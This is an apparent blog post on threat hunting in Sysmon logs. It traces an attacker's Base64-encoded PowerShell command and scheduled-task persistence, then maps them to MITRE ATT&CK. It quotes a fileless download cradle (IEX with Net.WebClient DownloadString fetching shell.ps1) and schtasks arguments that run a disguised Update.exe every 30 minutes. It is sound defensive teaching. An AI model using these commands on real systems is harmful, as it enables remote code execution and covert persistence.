Introduction
Imagine getting an alert that your systems have been compromised, and yet you've gotten zero alerts from your EDR. None! As much as we trust our automated software tools, it's not enough to sit tight and comfy until you get an alert. You should know that hackers expect you to sit back and wait for them, and they use that to their advantage. You don't believe me? Look at this tool right here - Backstab. Go ahead. I'll wait.
The damn thing is meant to kill Anti-malware protected processes! Your EDR can be silenced easily, and this is just one of many tools out there.
That's why we have Threat Hunters. It is essential to have an intelligent and inquisitive team working 24/7 assuming that a breach has already happened, and searching through your system for anything that your EDR and Anti-malware might have missed.
This article shows the logic behind sniffing out an attacker in your system. We will be analysing logs from Sysmon, a tool used to monitor and log system activity to Windows event log.
Before beginning the article, a huge thank you to HSC Consult for the mentorship efforts on this journey.
Challenge for the day
Effective threat hunting starts with quality intelligence about previous attacks. A good way to stay proactive is by using third-party threat feeds that allow you to add threat intelligence from external sources to your firewall. Such a set-up checks your logs to see if traffic matches any Indicators of Compromise, i.e., IP addresses, domains, URLs that are commonly used by known threat actors.
In our case, a third-party feed noticed a very suspicious IP address in the Windows event logs, that was linked to a famous hacker group. The EDR in place didn't flag anything. That's bad news.
Finding the culprit
A JSON log dataset was extracted from Sysmon to identify the point of entry, the persistence mechanism and the attacker's ultimate goal. Before getting to the good stuff, I had to clean the dataset: there's always some 'noise' to be edited out.
First thing's first, I searched for the suspicious IP that was flagged in our system. The results showed that there was one EventID 3. EventID is basically a category of logs. There are several categories to know. A Sysmon EventID 3 often means that a network connection was made. The Image associated with the log was a file path to Powershell. The port used was Port 80. There was also a CommandLine value found.
What exactly did they do?
The attacker made a network connection to Powershell... that's odd... Rather than using suspicious remote desktop tools, they used Powershell, a normal everyday tool used for legit purposes. No wonder the EDR missed this! This kind of attack is called "Living off the Land" (LotL) attack, because they are abusing known and trusted tools to do their dirty work.
Was there any Process Creation events, I mean, how did this attack begin? Maybe we could find more information on the parent processes or any command line arguments used. I searched for any Sysmon EventID 1 (Process Creation Events) associated with the suspicious IP. No hit. Any Process IDs? ... nope. Okay... I think the attacker was already in the system before Sysmon began capturing these logs.
Let's take a look at the CommandLine value found. The command was Base64-encoded. They used ‘-enc ‘ (-EncodedCommand), basically saying 'Hey Powershell, execute this Base64 encoded script as a command, thanks!' Sneaky bastards. This is obfuscation, an attempt to hide their intent and avoid being caught by security monitoring tools. Another reason why the EDR missed this.
What does this command do? I decoded the command, and guess what I found...
IEX - A built-in Powershell command (Invoke-Expression) that runs a specific string as a command.
(New-Object Net.WebClient). - In Windows, this part of the command references a class used to download things from the internet
DownloadString('http:///...url.../shell.ps1) - This is an instruction to fetch code from the URL, and ‘shell.ps1’ is the powershell script being downloaded.
Essentially, they are trying to fetch and execute a payload directly into the memory of the system using Powershell. This is a common fileless payload delivery mechanism, where the attacker avoids touching the disk, and leaving forensic evidence that can be caught by Antiviruses and EDR solutions. Third reason why the EDR missed this.
Also, the attacker made a mistake when scripting the attack. They used a triple slash ‘///’ instead of a double slash ‘//’ to reference the URL. The command was typed out by a human being, rather than an automated server. Man is to error. Got you!
Did they make an effort to stay here?
When I see Powershell being used for such a thing, the default line of questioning is, did they do anything to ensure their scripts are not just running the first time, but even after the system reboots? This is called Persistence; they just don't want to leave.
Attackers can manipulate Registry Run Keys to ensure that malicious programs run automatically when the system starts, obtaining persistence. I searched through the dataset for execution of ‘reg.exe’, making sure to run a case sensitive search. No ‘reg.exe’ was found.
Scheduled Tasks can also be used to gain persistence and maintain access to compromised systems by automating certain tasks to run at specific times and under certain conditions. I searched through the dataset for any Process Creation events with Image containing ‘schtasks.exe’. I found something: One entry was found with EventID 1 and an Image referencing ‘schtasks.exe’.
The command line used by the attacker to remain in the system after reboot was:
/Create - Making a new scheduled tasks
/SC MINUTE - Scheduling the task by the minute
/MO 30 - Instruction to run the task every 30 minutes
/TN \"WindowsUpdateCheck\ - Naming the task ‘WindowsUpdateCheck’
/TR \"C:\\Users\\Public\\Update.exe\ - Instruction to run the task in the named file
The attacker used a command that created a new scheduled task that was scheduled to run every 30 minutes. This is a significant red flag! Why?
What is an update.exe file doing within the Public folder?
Normally, legitimate Windows system updates generally reside in secured system folders, such asC:\Windows\System32orC:\Windows\SoftwareDistribution.The file was named WindowsUpdateCheck. Such liars! They think we would overlook that. Not today buddy.
Attack Mapping
MITRE ATT&CK is one amazing resource, that informs on various techniques used by known threat actors to attack organizations.
Here's the MITRE ATT&CK mapping:
Command and Scripting Interpreter (T1059) — Attackers abuse scripting tools like PowerShell that are already trusted and native to the OS. Because these tools are used legitimately every day, security solutions often can't tell the difference between normal and malicious use — making it a go-to for staying under the radar.
Scheduled Task/Job (T1053) — Built-in task scheduling features can be weaponized to automatically re-run malicious code at set intervals, even after a reboot. It's a persistence trick that blends in because scheduled tasks are completely normal system behavior.
Data Encoding (T1132) — Encoding is used to obscure the true intent of a command, making it harder for security tools to recognise a known-bad string or pattern. It's essentially a way to wrap something malicious in something that looks like gibberish.
Ingress Tool Transfer (T1105) — Rather than dropping files on disk where they can be scanned and flagged, attackers can pull remote payloads directly into memory at runtime. No file, no footprint, nothing for an antivirus to sink its teeth into.
Conclusion
Threat hunting isn't about waiting for an alarm to go off — it's about assuming something is already wrong and searching for the problem. This exercise showed how an attacker can move through a system, leaving almost no trace for automated solutions to catch.
The key takeaway? Your EDR is a safety net, not a security strategy.
Top comments (0)